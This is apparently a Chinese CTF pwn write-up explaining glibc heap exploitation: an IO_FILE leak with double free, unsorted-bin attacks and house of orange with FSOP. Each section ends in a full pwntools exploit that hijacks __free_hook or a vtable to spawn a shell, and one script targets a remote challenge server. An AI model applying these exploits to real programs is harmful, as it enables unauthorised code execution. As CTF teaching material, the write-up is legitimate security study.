十月一日总结-PWN

IO_FILE泄露glibc

IO_FILE泄露libc参考文章

首先利用工具查出libc版本,可以看出这是glibc_2.27

经过尝试,发现存在double_free漏洞,考虑到没有开启地址随机化保护,而且没有show函数,我们考虑通过IO_FILE泄露libc,

0x602080 <stdout@@GLIBC_2.2.5>:    0x00007f87b2616161    0x0000000000000000
0x602090 <stdin@@GLIBC_2.2.5> :    0x00007f87b21eda00    0x0000000000000000
0x6020a0 <stderr@@GLIBC_2.2.5>:    0x00007f87b21ee680    0x0000000000000000

因为<stdout@@GLIBC_2.2.5>: 0x00007fd54dc2a760 这个指针指向被认为了fd所以再次malloc时将从0x00007fd54dc2a760处取得。而我们正好可以修改_IO_2_1_stdout_来实现泄露libc

payload=p64(0xfdab1800)+p64(0)*3+b'\x00'

add(0x60,payload)

leak_vtable=u64(io.recvuntil("exit")[0x58:0x60])
libc_base=leak_vtable-libc.symbols["_IO_file_jumps"]

最后再次利用double_free实现get_shell

add(0x70,"aaa")
dele(5)
dele(5)
add(0x70,p64(free_hook))
add(0x70,b"/bin/sh\x00")
add(0x70,p64(system))
#gdb.attach(io)
dele(7)

最后exp如下:

#! /usr/bin/python3
from pwn import *
io = process('./IO_FILE')
elf = ELF('./IO_FILE')
libc = ELF("./libc.so.6")
context.log_level = 'debug'


def add (size,des):
   io.sendlineafter(">",'1')
   io.sendlineafter("size:",str(size))
   io.sendafter("ion:",des)


def dele(idx):
   io.sendlineafter(">",'2')
   io.sendlineafter("index:",str(idx))

add(0x60,'aaa')
dele(0)
dele(0)
add(0x60,p64(0x602080))
add(0x60,b'\x60')
add(0x60,b'\x60')

payload=p64(0xfdab1800)+p64(0)*3+b'\x00'

add(0x60,payload)
gdb.attach(io)
leak_vtable=u64(io.recvuntil("exit")[0x58:0x60])
libc_base=leak_vtable-libc.symbols["_IO_file_jumps"]
free_hook=libc_base+libc.symbols["__free_hook"]
system=libc_base+libc.symbols["system"]

print("leak_vtable--->"+hex(leak_vtable))
print("libc_base----->"+hex(libc_base))
print("free_hook----->"+hex(free_hook))
print("system-------->"+hex(system))

add(0x70,"aaa")
dele(5)
dele(5)
add(0x70,p64(free_hook))
add(0x70,b"/bin/sh\x00")
add(0x70,p64(system))
#gdb.attach(io)
dele(7)
io.interactive()

长安杯2.27下的unsortbin_attack

int creat()
{
  unsigned int id; // [rsp+0h] [rbp-10h]
  int nbytes; // [rsp+4h] [rbp-Ch]
  void *content; // [rsp+8h] [rbp-8h]

  puts("idx?");
  id = read_0x10();
  if ( id > 0xF )
    return puts("error!");
  puts("size?");
  nbytes = read_0x10();
  size_202060[id] = nbytes;
  if ( nbytes > 0x400 )
    return puts("error!");
  content = malloc(nbytes);
  if ( !content )
    return puts("error!");
  *(&arr_2020E0 + id) = content;
  puts("content?");
  read(0, *(&arr_2020E0 + id), nbytes);
  return puts("success!");
}

漏洞出现在这里,分析逻辑可以发现,程序运行时是先将size写入,之后才判断大小,因此存在漏洞,我们可以利用这里来进行泄露。

我们发现这里没有重复创建堆的判断,因此可以直接创建两个相同的堆。从而达到修改size的目的。

在首个unsortbin的fd中,存储这mainarea+96,而且其附近(-0x10)就是__malloc_hook,所以我们可以利用其泄露地址。

creat(7,0x80,'c'*0x80)
creat(7,0x500,'D')
edit (7,0x450,'D'*0x90)
show (7)
#gdb.attach(io)
leak = u64(io.recvuntil('\x7f',drop = True)[-5:] + b'\x7f\x00\x00')
libc_base = leak - libc.sym['__malloc_hook'] - 96 - 0x10

最后修改__free_hook为system并将参数设置为/bin/sh\x00,最最后free即可。

delet(0)
delet(1)
delet(2)
delet(8)



edit(7, 0x400, b'A' * (0x80) + p64(0) + p64(0x91) + p64(libc_base + libc.sym['__free_hook']))

creat(0, 0x80, b'/bin/sh\x00')
#gdb.attach(io)
creat(1, 0x80, p64(libc_base + libc.sym['system']))

delet(0)

exp如下

#! /usr/bin/python3
from pwn import *
#io = process('./main')
io = remote("113.201.14.253",21111)
elf = ELF('./main')
libc = ELF('./libc-2.27.so')
#libc = ELF('/glibc/2.29/64/lib/libc.so.6')
context.log_level = 'debug'
import os
r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li    = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

#----------function

def creat(idx, sz, d):
    io.sendlineafter('>>', '1')
    io.sendlineafter('?', str(idx))
    io.sendlineafter('?', str(sz))
    if(sz <= 0x400):
        io.sendafter('?', d)

def ad(idx, sz, d):
    sla('>>', '1')
    sla('?', str(idx))
    sla('?', str(sz))
    if(sz <= 0x400):
        sa('?', d)


def delet (idx):
    sla('>>', '2')
    sla('?', str(idx))

def edit (idx,size,content):
    sla('>>', '3')
    sla('?', str(idx))
    sla('?', str(size))
    sa('?', content)

def show (idx):
    sla('>>', '4')
    sla('?', str(idx))

#---------------


for i in range(9):
    ad(i, 0x80, 'A' * 0x80)


for i in range(7):
   delet(6-i)

delet(7)

for i in range(6):
   ad(i, 0x80, 'A' * 0x80)



creat(7,0x80,'c'*0x80)
creat(7,0x500,'D')
edit (7,0x450,'D'*0x90)
show (7)
#gdb.attach(io)
leak = u64(io.recvuntil('\x7f',drop = True)[-5:] + b'\x7f\x00\x00')
libc_base = leak - libc.sym['__malloc_hook'] - 96 - 0x10
free_hook = libc_base + libc.sym['__free_hook']
print("leak------->"+hex(leak))
print("libc_base-->"+hex(libc_base))
print("free_hook-->"+hex(free_hook))

gdb.attach(io)

edit (7, 0x400, b'A' * (0x80) + p64(0) + p64(0x91))
#gdb.attach(io)
creat(8, 0x80, 'A' * 0x80)

delet(0)
delet(1)
delet(2)
delet(8)



edit(7, 0x400, b'A' * (0x80) + p64(0) + p64(0x91) + p64(libc_base + libc.sym['__free_hook']))

creat(0, 0x80, b'/bin/sh\x00')
#gdb.attach(io)
creat(1, 0x80, p64(libc_base + libc.sym['system']))

delet(0)

io.interactive()
io.close()

电信杯2.31unsortbin_attachk

观察代码,漏洞已经很明显了,使用gets函数导致了可以溢出

int __fastcall creat(__int64 a1)
{
  unsigned int i; // [rsp+4h] [rbp-Ch]
  void *v3; // [rsp+8h] [rbp-8h]

  for ( i = 0; i <= 0x1F && qword_4060[i]; ++i )
    ;
  if ( i == 32 )
    ((void (__fastcall *)(__int64))sub_12F8)(a1);
  v3 = malloc(0x80uLL);
  if ( !v3 )
  {
    puts("malloc error");
    exit(1);
  }
  printf("content: ");
  gets(v3);
  qword_4060[i] = v3;
  return puts("done");
}

考虑到我们需要使用unsortbin_attack,但是只能malloc 0x80的chunk,所以需要修改size>0x440,使得其free后可以进入unsortbin。

delet(0)
creat(b"a"*0x88 + p64(0x90*9+1))
delet(1)
creat("A")
show(2)
#fd =    u64(io.recvuntil("\x7f")[-6:]+b'\x00\x00')
leak = u64(io.recvuntil('\x7f')[-6:]+b'\x00\x00')

此时我们完成了泄露,只需将__free_hook修改为system,参数设置为/bin/sh\x00,然后free即可

delet(6)
delet(5)
delet(4)

creat(b"a"*0x88 + p64(0x91) + p64(libc.sym['__free_hook']))
creat("B")
creat(p64(system_addre))

delet(10)

之前写的比较详细了,这里不在多讲。

exp如下:

#! /usr/bin/python3
from pwn import *
elf = ELF('./pwn1')
libc = ELF('/glibc/2.30/64/lib/libc.so.6')
context.log_level = 'debug'
io = process('./pwn1')

def creat(data):
   io.sendlineafter(">> ",'1')
   io.sendlineafter("content: ",data)

def show(idx):
   io.sendlineafter(">> ",'3')
   io.sendlineafter("index: ",str(idx))


def delet(idx):
   io.sendlineafter(">> ",'2')
   io.sendlineafter("index: ",str(idx))


for i in range(12): #0-12
   creat(b"/bin/sh\x00")

delet(0)
creat(b"a"*0x88 + p64(0x90*9+1))
delet(1)
creat("A")
show(2)
#fd =    u64(io.recvuntil("\x7f")[-6:]+b'\x00\x00')
leak = u64(io.recvuntil('\x7f')[-6:]+b'\x00\x00')
print("leak------>"+hex(leak))

libc_base = leak - 96 - 0x10 - libc.sym['__malloc_hook']
print("libc_base->",hex(libc_base))
libc.address = libc_base
system_addre = libc.sym['system']

delet(6)
delet(5)
delet(4)

creat(b"a"*0x88 + p64(0x91) + p64(libc.sym['__free_hook']))
creat("B")
creat(p64(system_addre))

delet(10)


io.interactive()

house_Of_orange

本题需要利用house_of_orange获得free_chunk , 然后再利用FSOP劫持程序执行流。

分析程序可以发现,在upgrade函数中会重新获取name的大小,因此这里存在溢出漏洞

然而,本程序并没有free功能,因此引出了house_of_orange技术。

可以通过溢出来修改top_chunk的size域,然后malloc一个大堆块,使得系统调用sysmalloc,

注意topchunk要对齐4kb 及 低位为0x1000

如果所需分配的 chunk 大小大于 mmap 分配阈值(默认为 128K,0x20000),就会调用mmap。
然后top_chunk就会进入unsorted bin , 从而实现free的功能。

那么我们如何劫持程序流呢?这里就引出了FSOP

注意,在2.23之后就无法在目标地址写入了。

在libc的_IO_list_all中,存放有一个_IO_FILE_plus结构体的指针,
如下图,它指向_IO_2_1_stderr_:

而_IO_FILE_plus结构体详细内容如下

其中_chain指向下一个_IO_FILE_plus结构体

在malloc中,它调用malloc_printerr来打印错误,经过一系列调用,最终来到_IO_flush_all_lockp:

while (fp != NULL)
{
…
    fp = fp->_chain;
    ...
          if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
       || (_IO_vtable_offset (fp) == 0
           && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                    > fp->_wide_data->_IO_write_base))
#endif
       )
      && _IO_OVERFLOW (fp, EOF) == EOF)

如果满足以下条件:

fp->_mode > 0
_IO_vtable_offset (fp) == 0
fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

因此可以伪造一个_IO_FILE_plus , 从而满足这些条件

1.创建一个chunk,并溢出修改top_chunk的size . 使top_chunk满足house_of_orange的条件

2.malloc一个大堆块,使得调用sysmalloc 并使得top_chunk进入unsorted bin ,然后再malloc一个chunk,这是为了切割top_chunk,使其信息残留在新的chunk中,从而泄露地址。之后show(),计算出__malloc_hook 即可。

3.

为了再次泄露出堆的地址,我们再次编辑堆,然后show泄露残留的信息(fd,bk),并通过偏移计算出heap_base

4.之后伪造_IO_FILE_plus和一个fake_chuk

payload = b'a' * 0x400 + p64(0) + p64(0x21) + p64(0) + p64(0)
fake_file = b'/bin/sh\x00'+p64(0x61)#to small bin
fake_file += p64(0)+p64(io_list_all-0x10)  
fake_file += p64(0) + p64(1)#_IO_write_base < _IO_write_ptr
fake_file = fake_file.ljust(0xc0,b'\x00')
fake_file += p64(0) * 3
fake_file += p64(heap_base+0x5E8) #vtable ptr
fake_file += p64(0) * 2
fake_file += p64(system)
payload += fake_file
edit(len(payload), payload, 666, 2)

溢出修改堆并使其原top_chunk作为 fake_IO_FILE_plus

再次malloc,触发错误,获得shell
malloc时,对unsorted bin进行判断,此时该chunk的size为0x61,不满足要求,就把该chunk放入small bin,并且向bk->fd写入main_arena+0x58,即向_IO_list_all写入main_arena+0x58
此时判断下一个unsorted bin(_IO_list_all),而这里实际上没有chunk,此时会触发错误
此时第一个_IO_FILE_plus结构体为main_arena+0x58,而它不满足条件,就通过_chain调到下一个_IO_FILE_plus结构体,_chain位于0x68偏移的地方,main_arena+0x58+0x68=main_arena+0xc0,就是small bin中0x60大小的地方,这就回到了我们伪造的_IO_FILE_plus结构体

在构造出smal bin的时候

small bin的头节点会储存在main_arena中

控制大小为0x60的时候,刚好头部地址储存对应 chain这个位置

EXP :

#! /usr/bin/python3
from pwn import *
from LibcSearcher import *

#r = remote("node4.buuoj.cn",29449)
r = process("./houseoforange_hitcon_2016")
context.log_level = 'debug'
elf = ELF("./houseoforange_hitcon_2016")
libc = elf.libc


def add(size, content, price, color):
    r.recvuntil("Your choice : ")
    r.sendline('1')
    r.recvuntil("Length of name :")
    r.sendline(str(size))
    r.recvuntil("Name :")
    r.send(content)
    r.recvuntil("Price of Orange:")
    r.sendline(str(price))
    r.recvuntil("Color of Orange:")    #1-7
    r.sendline(str(color))


def show():
    r.recvuntil("Your choice : ")
    r.sendline('2')

def edit(size, content, price, color):
    r.recvuntil("Your choice : ")
    r.sendline('3')
    r.recvuntil("Length of name :")
    r.sendline(str(size))
    r.recvuntil("Name:")
    r.send(content)
    r.recvuntil("Price of Orange:")
    r.sendline(str(price))
    r.recvuntil("Color of Orange:")    #1-7
    r.sendline(str(color))



add(0x30,'aaaa\n',0x1234,0xddaa)
payload = b'a' * 0x30 +p64(0) + p64(0x21) + p32(666) + p32(0xddaa) + p64(0) * 2 + p64(0xf81)
edit(len(payload), payload, 666, 0xddaa)

add(0x1000, 'a\n',0x1234, 0xddaa)
add(0x400, 'a' * 8, 199, 2)
show()
r.recvuntil('a'*8)
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, b'\x00')) - 0x668 - 0x10
success('malloc_hook = '+hex(malloc_hook))
libc.address = malloc_hook - libc.symbols['__malloc_hook']
io_list_all = libc.symbols['_IO_list_all']
system = libc.symbols['system']

print("libc.address-->",hex(libc.address))
print("io_list_all--->",hex(io_list_all))
print("system-------->",hex(system))

payload = 'b' * 0x10
edit(0x10, payload, 199, 2)
show()
r.recvuntil('b'*0x10)
heap = u64(r.recvuntil('\n').strip().ljust(8, b'\x00'))
heap_base = heap - 0xE0
success('heap = '+hex(heap))

#pause()
payload = b'a' * 0x400 + p64(0) + p64(0x21) + p32(666) + p32(0xddaa) + p64(0)
fake_file = b'/bin/sh\x00'+p64(0x61)#to small bin
fake_file += p64(0)+p64(io_list_all-0x10)
fake_file += p64(0) + p64(1)#_IO_write_base < _IO_write_ptr
fake_file = fake_file.ljust(0xc0,b'\x00')
fake_file += p64(0) * 3
fake_file += p64(heap_base+0x5E8) #vtable ptr
fake_file += p64(0) * 2
fake_file += p64(system)
payload += fake_file
edit(len(payload), payload, 666, 2)
#pause()
r.recvuntil("Your choice : ")
r.sendline('1')

r.interactive()